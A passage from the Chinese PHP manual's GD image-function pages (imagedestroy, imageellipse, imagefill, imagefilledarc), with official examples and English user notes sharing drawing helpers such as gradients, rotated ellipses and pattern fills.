   $x=$xend-$xstart;
   $y=$yend-$ystart;
   $length=floor(sqrt(pow(($x),2)+pow(($y),2)));
   $fullpattern=$pattern;
   while (strlen($fullpattern)<$length) $fullpattern.=$pattern;
   if (!$length) {
      if ($fullpattern[0]) imagefilledellipse($image, $xstart, $ystart, $thickness, $thickness, $color);
      return;
   }
   $x1=$xstart;
   $y1=$ystart;
   $x2=$x1;
   $y2=$y1;
   $mx=$x/$length;
   $my=$y/$length;
   $line="";
   for($i=0;$i<$length;$i++){
      if (strlen($line)==0 or $fullpattern[$i]==$line[0]) {
         $line.=$fullpattern[$i];
      }else{
         $x2+=strlen($line)*$mx;
         $y2+=strlen($line)*$my;
         if ($line[0]) imageline($image, round($x1), round($y1), round($x2-$mx), round($y2-$my), $color);
         $k=1;
         for($j=0;$j<$thickness-1;$j++) {
            $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
            $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
            $k=1-$k;
            if ($line[0]) {
               imageline($image, round($x1)+$k1, round($y1)+$k2, round($x2-$mx)+$k1, round($y2-$my)+$k2, $color);
               if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($x2-$mx)+$k1+1, round($y2-$my)+$k2, $color);
               if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($x2-$mx)+$k1, round($y2-$my)+$k2+1, $color);
            }
         }
         $x1=$x2;
         $y1=$y2;
         $line=$fullpattern[$i];
      }
   }
   $x2+=strlen($line)*$mx;
   $y2+=strlen($line)*$my;
   if ($line[0]) imageline($image, round($x1), round($y1), round($xend), round($yend), $color);
   $k=1;
   for($j=0;$j<$thickness-1;$j++) {
      $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
      $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
      $k=1-$k;
      if ($line[0]) {
         imageline($image, round($x1)+$k1, round($y1)+$k2, round($xend)+$k1, round($yend)+$k2, $color);
         if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($xend)+$k1+1, round($yend)+$k2, $color);
         if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($xend)+$k1, round($yend)+$k2+1, $color);
      }
   }
}
?>
ProfessorNeo at gmx dot de 16-Feb-2006 12:07
The bug reported by 'michi at marel dot at' also exists in PHP version 5.1.1. This functions just works with vertical lines!
alien-scripts.de 13-Jul-2005 02:17
I make my own dashedline:

<?
for($l=50;$l<=550;$l+=5)
   {
    if($da == 0) { $da = 1; }
    elseif($da == 1){
    imageline($bild,$l,50,$l+5,50,$green);
    $da = 0; }
   }
?>

$l is the x-value
and we have a dashed line :)
michi at marel dot at 19-Nov-2003 06:49
There's a bug till PHP 4.0.4 in this function. You can only draw vertical dashed lines. To draw other dashed lines you can set <ImageSetStyle> to a special dashed line and draw it by <ImageLine>.

Sample code:
<?php
function MDashedLine($image, $x0, $y0, $x1, $y1, $fg, $bg)
{
        $st = array($fg, $fg, $fg, $fg, $bg, $bg, $bg, $bg);
        ImageSetStyle($image, $st);
        ImageLine($image, $x0, $y0, $x1, $y1, IMG_COLOR_STYLED);
}
?>


销毁图像

  • ? imagedashedline
  • imageellipse ?
  • PHP Manual
  • GD 和图像处理 函数
  • 销毁图像

imagedestroy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagedestroy — 销毁图像

说明

imagedestroy(GdImage $image): bool

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

在 PHP 8.0.0 之前，imagedestroy() 释放与图像 image 关联的所有内存。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 此函数现在是 NOP（空操作）。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 PHP 8.0.0 前使用 imagedestroy()

<?php
// create a 100 x 100 image
$im = imagecreatetruecolor(100, 100);

// alter or save the image

// frees image from memory
imagedestroy($im);
?>

User Contributed Notes

devel at kijote dot com dot ar 03-Jan-2020 01:16
Important note: When the imagedestroy is called, the resource is freed but the printed resource output is the same as before calling the function:

<?php

  $img = imagecreate(1, 1);

  print_r([$img, $img ? 'TRUE': 'FALSE', is_resource($img) ? 'TRUE' : 'FALSE', get_resource_type($img) ?: 'FALSE']);

  /*
  Result:
  Array
  (
    [0] => Resource id #1
    [1] => TRUE
    [2] => TRUE
    [3] => gd

  )
  */

  imagedestroy($img);

  print_r([$img, $img ? 'TRUE': 'FALSE', is_resource($img) ? 'TRUE' : 'FALSE', get_resource_type($img) ?: 'FALSE']);

  /*
  Result:
  Array
  (
    [0] => Resource id #1
    [1] => TRUE
    [2] => FALSE
    [3] => Unknown
  )
  */
?>

As you can see in the above example, the first index in array is TRUE in both cases. So, despite the common thinking you can't trust in something like:

<?php

  if ($img)  {  // it's casted as boolean and returns true even after imagedestroy is called
     // do something
  }

?>

If you need to ensure the availability of a certain resource, you must to use is_resource and get_resource_type functions.
Claude D. 19-Nov-2015 02:35
Caution should be observed with imagedestroy(); copying your reference variable over to another variable will cause imagedestroy to destroy both at once.

Eg.:

$a = imagecreate(...);
$b = $a;
imagedestroy($a);

While you'd think $b still contains your image, it doesn't. Both $a and $b are destroyed.
corpus-deus at softhome dot net 12-Feb-2010 06:33
In theory creating an image object and calling imagedestroy in your destructor should be a good way of doing it; something like:

<?php
final class My_Image() {

  private $img;

  public function __construct() {
    $this->img = imagecreatetruecolor();
    // ... other stuff ...
  }

  public function __destruct() {
    if(is_resource($this->img)) {
      imagedestroy($this->img);
    }
  }

  // ... other methods...

}
?>

I check that $this->img is a resource in case imagecreatetruecolor() fails or you null the value somewhere down the line from a method call meaning that $this->img is NOT a resource, in which case imagedestroy is an unecessary function call that just fails with a warning message.
webmaster at codefisher dot org 05-Oct-2007 10:26
And to continue what Docey said, if php did not destroy all resources when the script stopped it would be a huge memory leak and everyone would be crying out for it to be fixed right away.

I have been using this function during a script that was breaking an image made of many little icons into the little parts, which could mean 400+ images in the one script, which was using a lot of memory so I needed to destroy them.
Docey 20-Oct-2006 10:59
When the script stop PHP will automatic destory ANY
resources, this goes for aswell for images, thus in the
case the use clicks the stop button, php will automatic
clear the resource.

thus imagedestroy is used to clear the memory BEFORE
the script ends. this is usefull to keep memory usage
DURING the script to an acceptable level.

hope this clear somethings up.
Andrew Hoffmann - ahoffmann at wisc dot edu 23-Jun-2005 07:25
When working with a lot of high-resolution images, it's IMPERATIVE that you use the imagedestroy() function.

In my scenario, I was taking two high resolution desktop wallpapers and shrinking them down into successively smaller ones (preventing the user from having to upload a dozen files).

At first, my script would run, then just stop.  I realized later that I had not destroyed the source image and the newly resized image in memory after I had finished writing the file out to disk.  Thus, I quickly reached the memory limit that my hosting provider placed in their php.ini file.

Reusing an image variable does NOT clear the old data out of memory!  You must use imagedestroy() to clear the data out.  (I don't know if unset() works as well).

Also note that the image data in memory is raw, so don't base how much memory you are using based on the original filesize of the compressed image (such as jpeg or png).
dan at mlodecki dot net 04-Mar-2004 04:42
I have noticed that gd drawing functions can behave oddly if there is a previous image which has not been imagedestroy()'ed.  You should always imagedestroy when you are done with an image object.


画椭圆

  • ? imagedestroy
  • imagefill ?
  • PHP Manual
  • GD 和图像处理 函数
  • 画椭圆

imageellipse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imageellipse — 画椭圆

说明

imageellipse(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $color
): bool

绘制以指定坐标为中心的椭圆。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

center_x

中间的 x 坐标。

center_y

中间的 y 坐标。

width

椭圆的宽度。

height

椭圆的高度。

color

椭圆的颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imageellipse() 示例

<?php

// 新建一个空白图像
$image = imagecreatetruecolor(400, 300);

// 填充背景色
$bg = imagecolorallocate($image, 0, 0, 0);

// 选择椭圆的颜色
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// 画一个椭圆
imageellipse($image, 200, 150, 300, 200, $col_ellipse);

// 输出图像
header("Content-type: image/png");
imagepng($image);

?>

以上示例的输出类似于：

注释

Note:

imageellipse() 忽略 imagesetthickness()。

参见

  • imagefilledellipse() - 绘制椭圆并填充
  • imagearc() - 画弧线

User Contributed Notes

simon_nuttall at hotmail dot com 07-Jun-2006 01:36
This is an optimised and bug fixed version of nojer at yahoo dot com's rotatedellipse function. I've changed it so that the arguments are compatible with imageellipse. See notes on imagearc for original version.

<?php

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=false) {
  // modified here from nojer's version
  // Rotates from the three o-clock position clockwise with increasing angle.
  // Arguments are compatible with imageellipse.

  $width=$width/2;
  $height=$height/2;

  // This affects how coarse the ellipse is drawn.
  $step=3;

  $cosangle=cos(deg2rad($rotateangle));
  $sinangle=sin(deg2rad($rotateangle));

  // $px and $py are initialised to values corresponding to $angle=0.
  $px=$width * $cosangle;
  $py=$width * $sinangle;

  for ($angle=$step; $angle<=(180+$step); $angle+=$step) {

    $ox = $width * cos(deg2rad($angle));
    $oy = $height * sin(deg2rad($angle));

    $x = ($ox * $cosangle) - ($oy * $sinangle);
    $y = ($ox * $sinangle) + ($oy * $cosangle);

    if ($filled) {
      triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    } else {
      imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    }
    $px=$x;
    $py=$y;
  }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

?>
julian 16-Jan-2005 06:23
if you want to display an ellipse in the upper left corner of an image, you can easily calculate the corresponding cx and cy values. this example will draw an ellipse having the same width and height as the image.

<?php

$ellipse_width = 100;
$ellipse_height = 200;

$ellipse_cx = ($ellipse_width / 2);
$ellipse_cy = ($ellipse_height / 2);

$img_x = $ellipse_width;
$img_y = $ellipse_height;

$img = imagecreate($img_x, $img_y);
$bg = imagecolorallocate($img, 255,255,255);

$ellipse_color = imagecolorallocate($img, 0, 0, 0);

imageellipse($img, $ellipse_cx, $ellipse_cy, $ellipse_width, $ellipse_height, $ellipse_color);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);

?>
agentyoungsoo at hanmail dot net 04-Dec-2002 08:56
When you wana use "ImageEllipse" function
in under GD 2.0.2 version, you can use "ImageArc" like bellow

----------------------------------------------------
$file_name = "test.png";

$screen_x = 300;
$screen_y = 200;

$x1 = $screen_x / 2;
$y1 = $screen_y / 2;

$radius = 30;

$image = ImageCreate($screen_x, $screen_y);
$black = ImageColorAllocate($image, 0,0,0);

ImageArc($image, $x1, $y1, $radius , $radius , 0, 360, $black);

ImagePng($image, $file_name);
ImageDestroy($image);
----------------------------------------------------


漫水填充

  • ? imageellipse
  • imagefilledarc ?
  • PHP Manual
  • GD 和图像处理 函数
  • 漫水填充

imagefill

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefill — 漫水填充

说明

imagefill(
GdImage $image,
int $x,
int $y,
int $color
): bool

使用 image 中的指定 color 从指定坐标（左上角为 0，0）开始执行漫水填充。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x

起点的 x 坐标。

y

起点的 y 坐标。

color

填充颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagefill() 示例

<?php

$im = imagecreatetruecolor(100, 100);

// 设置背景为红色
$red = imagecolorallocate($im, 255, 0, 0);
imagefill($im, 0, 0, $red);

header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

参见

  • imagecolorallocate() - 为图像分配颜色

User Contributed Notes

oleh at it dot wihola dot com 24-Aug-2017 08:45
is there any point to use $x and $y coordinates? They doesn't affect an output in any way. I can no make rectangular half filled with color. These params are useless.
George Edison 27-Sep-2012 11:19
Creating a new true-color image, filling it with a transparent color, and saving it as a PNG image can be accomplished with the following:

<?php

$new   = imagecreatetruecolor(320, 320);
$color = imagecolorallocatealpha($new, 0, 0, 0, 127);
imagefill($new, 0, 0, $color);
imagesavealpha($new, TRUE); // it took me a good 10 minutes to figure this part out
imagepng($new);

?>

The image needs to be created with imagecreatetruecolor(), you must use imagefill() instead of imagefilledrectange(), and you need to call imagesavealpha(). No other combination of functions calls seems to produce the intended results.
Christopher Kramer 06-Oct-2009 03:00
Here is a function to generate a gradient.
You specify width, heigth and 4 colors (of the 4 corners).

An image handle of the gradient image will be returned.
You can copy the returned image onto another image using imageecopy.
This can be helpful if you want to generate a shadow for example.
("Glow effect example": Generate 8 gradients, one for each side and one for each corner. The outer side of the gradients have the background color and the inner sides have a bright color such as white.)

But beware: This function is not optimized for performance, it might become slow on big images. For shadows, better cache the generated gradients.

Note: For gradients, using true-color is highly recommended.

<?php

function gradient($w=100, $h=100, $c=array('#FFFFFF','#FF0000','#00FF00','#0000FF'), $hex=true) {

 /*
 Generates a gradient image

 Author: Christopher Kramer

 Parameters:
 w: width in px
 h: height in px
 c: color-array with 4 elements:
    $c[0]:   top left color
    $c[1]:   top right color
    $c[2]:   bottom left color
    $c[3]:   bottom right color

 if $hex is true (default), colors are hex-strings like '#FFFFFF' (NOT '#FFF')
 if $hex is false, a color is an array of 3 elements which are the rgb-values, e.g.:
 $c[0]=array(0,255,255);

 */

 $im=imagecreatetruecolor($w,$h);

 if($hex) {  // convert hex-values to rgb
  for($i=0;$i<=3;$i++) {
   $c[$i]=hex2rgb($c[$i]);
  }
 }

 $rgb=$c[0]; // start with top left color
 for($x=0;$x<=$w;$x++) { // loop columns
  for($y=0;$y<=$h;$y++) { // loop rows
   // set pixel color
   $col=imagecolorallocate($im,$rgb[0],$rgb[1],$rgb[2]);
   imagesetpixel($im,$x-1,$y-1,$col);
   // calculate new color
   for($i=0;$i<=2;$i++) {
    $rgb[$i]=
      $c[0][$i]*(($w-$x)*($h-$y)/($w*$h)) +
      $c[1][$i]*($x     *($h-$y)/($w*$h)) +
      $c[2][$i]*(($w-$x)*$y     /($w*$h)) +
      $c[3][$i]*($x     *$y     /($w*$h));
   }
  }
 }
 return $im;
}

function hex2rgb($hex)
 {
 $rgb[0]=hexdec(substr($hex,1,2));
 $rgb[1]=hexdec(substr($hex,3,2));
 $rgb[2]=hexdec(substr($hex,5,2));
 return($rgb);
 }

// usage example

$image=gradient(300, 300, array('#000000', '#FFFFFF', '#FF0000', '#0000FF'));

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
dunhamzzz [A] gmail 01-Sep-2008 08:36
I feel its worth pointing out that you cannot fill a transparent colour that you have assigned with imagecolorallocatealpha, the colour will fill, but without its transparency,

I find the easiest method around this is to just fill a rectangle using imagefilledrectangle() to draw a fill instead.
Cypog 17-Mar-2008 07:27
imagefill can't deal with alpha colors, use imagefilledrectangle instead.

<?php

    header("Content-Type: image/png");
    $im = imagecreatefrompng("img/button.png");
    if (empty($_GET['alpha']))
        {$_GET['alpha'] = 10;}
    $color = imagecolorallocatealpha($im, 255, 255, 255, $_GET['alpha']);
    imagefillalpha($im, $color);
    imagepng($im);
    imagedestroy($im);

    function ImageFillAlpha($image, $color)
    {
        imagefilledrectangle($image, 0, 0, imagesx($image), imagesy($image), $color);
    }

?>
info at educar dot pro dot br 09-Mar-2007 07:54
Example 1
The filled region will be external to a demarcated region, if the initial coordinates will be outside of this region.

<?php
$src621 = imagecreate(200,200);
$clr_1_621 = imagecolorallocate($src621, 255, 255, 0);
$clr_2_621 = imagecolorallocate($src621, 0, 0, 250);
$clr_4_621 = imagecolorallocate($src621, 2,2,55);
imagerectangle($src621, 100, 100, 150, 150, $clr_4_621);
imagefill($src621, 110, 110, $clr_2_621);
header("Content-Type: image/png");
imagepng ($src621);
imagedestroy($src621);
?>

Example 2
The filled region will be internal to a demarcated region, if the initial coordinates will be inside of this region.
<?php
$src622 = imagecreate(200,200);
$clr_1_622 = imagecolorallocate($src622, 255, 255, 0);
$clr_2_622 = imagecolorallocate($src622, 0, 0, 250);
$clr_4_622 = imagecolorallocate($src622, 2,2,55);
imagerectangle($src622, 100, 100, 150, 150, $clr_4_622);
imagefill($src622, 10, 10, $clr_2_622);
header("Content-Type: image/png");
imagepng ($src622);
imagedestroy($src622);
?>

See another examples at:
http://www.educar.pro.br/a/gdlib/index.php?pn=50&tr=97
Gromitt 06-Mar-2007 10:14
If you need to fill a whole image (immediatly after its creation for instance), consider applying a filled rectangle instead, using imagefilledrectangle() :

<?php

$gdImage = imagecreatetruecolor(100, 100);
$gdColor = imagecolorallocate($gdImage, 255, 0, 0); // red
imagefilledrectangle($gdImage, 0, 0, 99, 99, $gdColor);

?>

which will require much less logic and processing from GD.
razonklnbd at yahoo dot com 24-Sep-2006 03:32
I spend more then two hour to find a function that can fill a pattern or file as background instead of color. but i can't find. so i develop the following function. i though this function will save time who need it...

Function will get four parameter
1. Main Image Identifier
2. Pattern Image Identifier
3. Final Image Width
4. Final Image Height

If you set final image width or height is less then main image width or height then you may get wrong result

<?php

function fill_with_patternfile($p_main_im, $p_patternfile_im, $p_width, $p_height){
    $pimiX=$p_patternfile_im;
    $pw=imagesx($pimiX);
    $ph=imagesy($pimiX);
    $targetImageIdentifier=imagecreatetruecolor($p_width,$p_height);
    if($pw<$p_width && $ph<$p_height){
        for($pX=0;$pX<$p_width;$pX+=$pw){
            for($pY=0;$pY<$p_height;$pY+=$ph){
                imagecopy($targetImageIdentifier,$pimiX,$pX,$pY,0,0,$pw,$ph);
            }
        }
    }else imagecopy($targetImageIdentifier,$pimiX,0,0,0,0,$pw,$ph);
    $w=imagesx($p_main_im);
    $h=imagesy($p_main_im);
    $nX=0;
    if($w<$p_width) $nX=intval(($p_width-$w)/2);
    $nY=0;
    if($h<$p_height) $nY=intval(($p_height-$h)/2);
    imagecopy($targetImageIdentifier,$p_main_im,$nX,$nY,0,0,$w,$h);
    return $targetImageIdentifier;
}
//    If you want to use a gif or png file as
//    pattern file you need to change function below :)
$pattern_im=imagecreatefromjpeg('logo.jpg');
//    If you want to use a gif or png file as
//    main file you need to change function below :)
$main_im=imagecreatefromjpeg('r2.jpg');
//    call the function width 500 and height 500
//    if your width and height is less then main images
//    width and height then you can't understand any change!
$final=fill_with_patternfile($main_im, $pattern_im, 500, 500);
//    view the image and destroy all instance
header('Content-type: image/jpeg');
imagejpeg($final);
imagedestroy($final);
imagedestroy($main_im);
imagedestroy($pattern_im);
exit();

?>
jonathan dot aquino at gmail dot com 08-Jun-2006 03:12
Use imageSaveAlpha($image, true); to preserve transparency.
gelak 29-Nov-2005 11:27
//A smiley face ;]

<?php

header('Content-type: image/png');

$smile=imagecreate(400,400);
$kek=imagecolorallocate($smile,0,0,255);
$feher=imagecolorallocate($smile,255,255,255);
$sarga=imagecolorallocate($smile,255,255,0);
$fekete=imagecolorallocate($smile,0,0,0);
imagefill($smile,0,0,$kek);

imagearc($smile,200,200,300,300,0,360,$fekete);
imagearc($smile,200,225,200,150,0,180,$fekete);
imagearc($smile,200,225,200,123,0,180,$fekete);
imagearc($smile,150,150,20,20,0,360,$fekete);
imagearc($smile,250,150,20,20,0,360,$fekete);
imagefill($smile,200,200,$sarga);
imagefill($smile,200,290,$fekete);
imagefill($smile,155,155,$fekete);
imagefill($smile,255,155,$fekete);
imagepng($smile);

?>
pisu at estmail dot hu 29-Nov-2005 01:48
chess board
<?php

$kep = imagecreate(400,400);
$fekete = imagecolorallocate($kep,0,0,0);
$feher = imagecolorallocate($kep,255,255,255);

//imagefill($kep,50,50,$fekete);
imagefill($kep,50,20,$feher);

for ($i=1;$i<8;$i++)  {
  $k = $i*50;
  imageline($kep,0,$k,400,$k,$fekete);
  imageline($kep,$k,0,$k,400,$fekete);
  }

for ($i=0;$i<8;$i++)  {
  for ($j=0;$j<8;$j++)  {
    $x = $i*50 + 2;
        $y = $j*50 + 2;
    if (  ( ($i % 2) + ($j % 2) )  % 2 == 0 )  {
          imagefill($kep,$x,$y,$fekete);
          }

    }
  }

// imagecolortransparent($kek,$piros);

header('content-type : image/png');
imagepng($kep);

?>
colin at galaxyinteractive dot net 28-Jul-2005 08:26
Didn't see this documented, although it's outlined in imagefilledrectangle, it wasn't quite so obvious to me at first

imageSetTile($image,$imageBack);
imagefill($image,0,0,IMG_COLOR_TILED);

Will fill an image with a texture (this is great as I'm building a logo/template creator)
Igor Garcia 28-Jun-2003 03:18
This function, cannot deal with transparencies.
So you need to use imagecolorallocate instead of imagecolorallocatealpha.
Thus, be careful with color variables that allready set with imageallocatecoloralpha because this can slow-down or hang-up your system.
norxh 04-Jun-2003 08:36
For new images, you must allocate a color before this function will work.
08-Feb-2003 05:49
Actually, it can handle pre-transparent images. To remove it you need to do something like:
   imagecolortransparent($img, 0);
to null out the previous transparency colors. ;)
aqmprod at iname dot com 09-Jan-2000 05:08
This function does not seem to work with images already been transparent. If you fill at x=0, y=0, and there are still transparent parts that you did
not reach with your fill, they change to a different color.

The ImageColorSet function seems to be the solution, but i can't work with transparancy.


绘制部分弧形并填充

  • ? imagefill
  • imagefilledellipse ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制部分弧形并填充

imagefilledarc

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagefilledarc — 绘制部分弧形并填充

说明

imagefilledarc(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $start_angle,
int $end_angle,
int $color,
int $style
): bool

在指定 image 中以指定坐标为中心绘制部分弧形。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

center_x

中间的 x 坐标。

center_y

中间的 y 坐标。

width

弧形宽度。

height

弧形高度。

start_angle

弧形起始角，以度为单位。

end_angle

弧形结束角度，以度为单位。0° 位于三点钟位置，顺时针绘制弧形。

color

颜色标识符使用 imagecolorallocate() 创建。

style

值可以是下列值的按位或（OR）：

  1. IMG_ARC_PIE
  2. IMG_ARC_CHORD
  3. IMG_ARC_NOFILL
  4. IMG_ARC_EDGED
IMG_ARC_PIE 和 IMG_ARC_CHORD 是互斥的；IMG_ARC_CHORD 只是用直线连接了起始和结束点，IMG_ARC_PIE 则产生圆形边界。IMG_ARC_NOFILL 指明弧或弦只有轮廓，不填充。IMG_ARC_EDGED 指明用直线将起始和结束点与中心点相连，和 IMG_ARC_NOFILL 一起使用是画饼状图轮廓的好方法（而不用填充）。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 创建 3D 外观的饼图

<?php

// 创建图像
$image = imagecreatetruecolor(100, 100);

// 分配一些颜色
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy = imagecolorallocate($image, 0x00, 0x00, 0x80);
$darknavy = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$darkred = imagecolorallocate($image, 0x90, 0x00, 0x00);

// 创建 3D 效果
for ($i = 60; $i > 50; $i--) {
imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);
}

imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);

// 输出图像
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

以上示例的输出类似于：

示例输出：创建 3D 外观的饼图

User Contributed Notes

vrp76 at mail dot ru 29-Nov-2016 08:05
The analogue of the function

<?php

function myimagefilledarc($image, $cx, $cy, $width, $height, $start, $end, $color, $style = IMG_ARC_PIE){

    $delta = 0.1;
    $twoPi = 2*pi();

    $w = $width/2;
    $h = $height/2;

    if($h<=$w){
        $kx=$w;
        $ky=$w*$h/$w;
    }else{
        $kx=$h*$w/$h;
        $ky=$h;
    }

    $StartRad = deg2rad($start);
    $EndRad   = deg2rad($end);

    $array_points[] = $cx;
    $array_points[] = $cy;

    $a = $StartRad;

    if($style==IMG_ARC_PIE
     or $style==IMG_ARC_EDGED
     or $style==(IMG_ARC_PIE|IMG_ARC_NOFILL)
     or $style==(IMG_ARC_EDGED|IMG_ARC_NOFILL)){

        if($StartRad>=$EndRad){

            $b[] = $twoPi;
            $b[] = $EndRad;

        }else $b[] = $EndRad;

    }else $b[] = 0;

    foreach($b as $vb){
        do {
            $array_points[] = $cx + $kx*cos($a);
            $array_points[] = $cy + $ky*sin($a);
            $a += $delta;
        } while ($a<$vb);
        $a = 0;
    }

    $array_points[] = $cx + $kx*cos($EndRad);
    $array_points[] = $cy + $ky*sin($EndRad);

    $count_array_points    = count($array_points);
    $num_points = $count_array_points/2;

    if($style==IMG_ARC_PIE or $style==IMG_ARC_EDGED or $style==IMG_ARC_CHORD){
        imagefilledpolygon($image, $array_points, $num_points, $color);
    }elseif($style==(IMG_ARC_PIE|IMG_ARC_NOFILL)){

        $i = 1;
        $c = $count_array_points - 1;

        $x1 = $array_points[++$i];
        $y1 = $array_points[++$i];

        do {
            $x2 = $array_points[++$i];
            $y2 = $array_points[++$i];
            imageline($image, $x1, $y1, $x2, $y2, $color);
            $x1 = $x2;
            $y1 = $y2;
        } while ($i<$c);

    }elseif($style==(IMG_ARC_CHORD|IMG_ARC_NOFILL) or $style==(IMG_ARC_PIE|IMG_ARC_NOFILL)){
        imageline($image, $array_points[2], $array_points[3], $array_points[4], $array_points[5], $color);
    }else{
        imagepolygon($image, $array_points, $num_points, $color);
    }

}

$image = imagecreatetruecolor(900, 1250);

$white        = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray[]     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$gray[]     = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy[]     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$navy[]     = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red[]      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$red[]      = imagecolorallocate($image, 0x90, 0x00, 0x00);
$yellow[]    = imagecolorallocate($image, 0xFF, 0xFF, 0x00);
$yellow[]    = imagecolorallocate($image, 0x90, 0x90, 0x00);

$Cx = 200;
$Cy = 100;

$W = 300;
$H = 100;

$Dx = 500;
$Dy = 0;
$Dy_3d = 40;

$Angles['yellow']    = array(180,0);
$Angles['gray']        = array(0,88);
$Angles['navy']        = array(88,92);
$Angles['red']        = array(92,180);

$styles['IMG_ARC_PIE'] = IMG_ARC_PIE;

$styles['IMG_ARC_CHORD'] = IMG_ARC_CHORD;

$styles['IMG_ARC_PIE|IMG_ARC_NOFILL'] = IMG_ARC_PIE|IMG_ARC_NOFILL;

$styles['IMG_ARC_CHORD|IMG_ARC_NOFILL'] = IMG_ARC_CHORD|IMG_ARC_NOFILL;

$styles['IMG_ARC_PIE|IMG_ARC_EDGED|IMG_ARC_NOFILL'] = IMG_ARC_PIE|IMG_ARC_EDGED|IMG_ARC_NOFILL;

$styles['IMG_ARC_CHORD|IMG_ARC_EDGED|IMG_ARC_NOFILL'] = IMG_ARC_CHORD|IMG_ARC_EDGED|IMG_ARC_NOFILL;

imagestring($image, 5, 130, 15, 'imagefilledarc', $white);

imagestring($image, 5, 130 + $Dx, 15, 'myimagefilledarc', $white);

foreach($styles as $name_style => $style){

    for ($i = $Cy+$Dy_3d; $i > $Cy; $i--) {
        foreach($Angles as $colors=>$angle){
            imagefilledarc($image, $Cx, $i+$Dy, $W, $H, $angle[0], $angle[1],$$colors[1], $style);
        }
    }

    foreach($Angles as $colors=>$angle){
        imagefilledarc($image, $Cx, $Cy+$Dy, $W, $H, $angle[0], $angle[1],$$colors[0], $style);
    }

    for ($i = $Cy+$Dy_3d; $i > $Cy; $i--) {
        foreach($Angles as $colors=>$angle){
            myimagefilledarc($image, $Cx+$Dx, $i+$Dy, $W, $H, $angle[0], $angle[1],$$colors[1], $style);
        }
    }

    foreach($Angles as $colors=>$angle){
        myimagefilledarc($image, $Cx+$Dx, $Cy+$Dy, $W, $H, $angle[0], $angle[1],$$colors[0], $style);
    }

    imagestring($image, 5, 450-strlen($name_style)*8/2, $Cy+$Dy+$H-10, $name_style, $yellow[0]);

    $Dy+=200;
}

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
xcoda3 at web dot de 23-Jul-2015 04:24
For everyone who will use imageellipse() with a border (imagesetthickness() not working correctly).
This function simualtes the standard gd border.

<?php

function imageEllipseWithBorder($image, $centerX, $centerY, $width, $height, $color, $borderWidth)
    {
        // Calculate inner and outer strength of border
        $borderOuterStrength = (($borderWidth - 1) / 2);
        $borderInnerStrength = ((($borderWidth - 1) / 2) + 1);

        // Caculate x-/y-offset from 0/0 position to ellipse center
        $ellipseXOffset = $centerX - ($width / 2) - $borderOuterStrength;
